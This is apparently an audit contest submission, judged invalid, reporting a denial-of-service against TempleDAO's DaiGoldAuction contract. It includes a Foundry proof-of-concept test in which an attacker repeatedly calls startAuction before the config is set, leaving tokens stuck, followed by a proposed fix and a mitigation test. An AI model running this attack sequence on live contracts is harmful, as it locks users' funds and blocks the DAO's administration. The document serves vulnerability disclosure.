TempleGold

TempleDAO
Foundry
25,000 USDC
View results
Submission Details
Severity: medium
Invalid

DOS Attack on `DaiGoldAuction::startAuction()` will lead to `recoverToken` and `setAuctionConfig` calls to revert, causing TGLD tokens to be stuck permanently

Summary

Ideally, the DAO Executor sets the auctionConfig and then calls DaiGoldAuction::startAuction() function, and if needed use DaiGoldAuction::recoverToken() function to recover the tokens only during the cooldown period. However, an attacker can call DaiGoldAuction::startAuction() function before auctionConfig is ever set and continue to start auctions one after the other essentially causing a denial-of-service to the DAO executor as they would never be able to set the config or recover tokens.

Vulnerability Details

As auctionConfig remains uninitialized after contract deployment until setAuctionConfig is called and due to the the lack of validation in DaiGoldAuction::startAuction() to check if auctionConfig has been set allows for an opening for an attacker to cause a DOS on the system. The attacker is able to start an auction immediately after contract deployment and start another one as soon as one ends.

Also, if the vesting period for TGLD tokens is set at 1/3 years, meaning it takes 3 years for all the tokens to be minted, 10 tokens are minted every second and the minimum mint requirement of 10,000 tokens is satisfied in a matter of only 1000 seconds whereas the AUCTION_DURATION is set as 1 week, so DaiGoldAuction::startAuction() would never revert with LowGoldDistributed error neither would the TempleGold::mint() fail silently for the attacker.

Impact

The DAO executor remains unable to ever set the config and 60% (or according to distributionParams) of the entire circulating supply of TGLD tokens remain locked up in the contract forever, except for the first auction as it starts even before enough TLGD emissions have been made and _distribute failed silently. This can cause a multitute of issues for the protocol since there is no way of "migrating" over to another implementation of the DaiGoldAuction either.

Proof of Code

  1. Add the following test to the existing DaiGoldAuction.t.sol file.

function test_DOSonDaiGoldAuction() public {
// CONTRACT IS DEPLOYED IN SETUP
// data points required to carry out the attack
address attacker = makeAddr("attacker");
uint256 epochId;
IAuctionBase.EpochInfo memory info;
uint256 recoveryAmount;
IDaiGoldAuction.AuctionConfig memory config = _getAuctionConfig();
// config is not set yet
IDaiGoldAuction.AuctionConfig memory auctionConfig = daiGoldAuction.getAuctionConfig();
console.log("Auction Config:");
console.log("Time Diff =", auctionConfig.auctionsTimeDiff);
console.log("Cooldown =", auctionConfig.auctionStartCooldown);
console.log("Minimum TGLD =", auctionConfig.auctionMinimumDistributedGold);
// attacker starts first auction
vm.prank(attacker);
daiGoldAuction.startAuction();
// attacker starts an auction exactly when the previous one ends
// as there is no cooldown period and time difference in between
// only 50 iterations as an example, attacker would likely deploy a bot
for (uint256 i = 0; i < 50; ++i) {
epochId = daiGoldAuction.currentEpoch();
info = daiGoldAuction.getEpochInfo(epochId);
vm.warp(info.endTime);
vm.prank(attacker);
daiGoldAuction.startAuction();
// DAO attempts to recover tokens and set config
recoveryAmount = templeGold.balanceOf(address(daiGoldAuction));
vm.startPrank(executor);
vm.expectRevert(abi.encodeWithSelector(IAuctionBase.AuctionActive.selector));
daiGoldAuction.recoverToken(address(templeGold), alice, recoveryAmount);
vm.expectRevert(abi.encodeWithSelector(IAuctionBase.InvalidOperation.selector));
daiGoldAuction.setAuctionConfig(config);
vm.stopPrank();
}
// ~60% of all circulating TGLD tokens permanently stuck after each distribution/minting
uint256 auctionBalance = templeGold.balanceOf(address(daiGoldAuction));
uint256 totalSupply = templeGold.totalSupply();
console.log("\n Percentage of TGLD stuck = %d%", (auctionBalance * 100 / totalSupply));
}
  1. Import the console package:

import { console } from "forge-std/console.sol";
  1. Also update the vesting period params in DaiGoldAuction.t.sol::_configureTempleGold as follows:

function _configureTempleGold() private {
ITempleGold.DistributionParams memory params;
params.escrow = 60 ether;
params.gnosis = 10 ether;
params.staking = 30 ether;
templeGold.setDistributionParams(params);
ITempleGold.VestingFactor memory factor;
- factor.numerator = 2 ether;
+ factor.numerator = 1;
- factor.denominator = 1000 ether;
+ factor.denominator = 162 weeks; // 3 years
templeGold.setVestingFactor(factor);
templeGold.setStaking(address(goldStaking));
// whitelist
templeGold.authorizeContract(address(daiGoldAuction), true);
templeGold.authorizeContract(address(goldStaking), true);
templeGold.authorizeContract(teamGnosis, true);
}
  1. Run forge test --mt test_DOSonDaiGoldAuction -vv

Console Output:

[PASS] test_DOSonDaiGoldAuction() (gas: 5313626)
Logs:
Auction Config:
Time Diff = 0
Cooldown = 0
Minimum TGLD = 0

Percentage of TGLD stuck = 59%

Recommendations

The best recommended mitigation would be to add a check in DaiGoldAuction::startAuction() function that ensures auctionConfig is initialized.

function startAuction() external override {
// code
AuctionConfig storage config = auctionConfig;
/// @notice last auction end time plus wait period
if (_currentEpochId > 0 && (prevAuctionInfo.endTime + config.auctionsTimeDiff > block.timestamp)) {
revert CannotStartAuction();
}
+ /// @notice check if config is initialized, checking for any parameter is enough
+ if (config.auctionsTimeDiff == 0) {
+ revert CannotStartAuction();
+ }
// code
}

Another way would be to update the DaiGoldAuction::constructor() to set an initial value for auctionConfig but that is not recommended.

After making changes, add the following unit test to the suite and run forge test --mt test_MitigationSuccessful -vv.

function test_MitigationSuccessful() public {
address attacker = makeAddr("attacker");
// config is not set yet
IDaiGoldAuction.AuctionConfig memory auctionConfig = daiGoldAuction.getAuctionConfig();
console.log("Auction Config:");
console.log("Time Diff =", auctionConfig.auctionsTimeDiff);
console.log("Cooldown =", auctionConfig.auctionStartCooldown);
console.log("Minimum TGLD =", auctionConfig.auctionMinimumDistributedGold);
// attacker starts auction, but it reverts
vm.prank(attacker);
vm.expectRevert(abi.encodeWithSelector(IAuctionBase.CannotStartAuction.selector));
daiGoldAuction.startAuction();
}

Console Output:

[PASS] test_MitigationSuccessful() (gas: 30395)
Logs:
Auction Config:
Time Diff = 0
Cooldown = 0
Minimum TGLD = 0

Tools Used

Manual Review and Foundry for POC

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

`startAuction` the second the DaiGoldAuction is deployed can be used to DOS the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.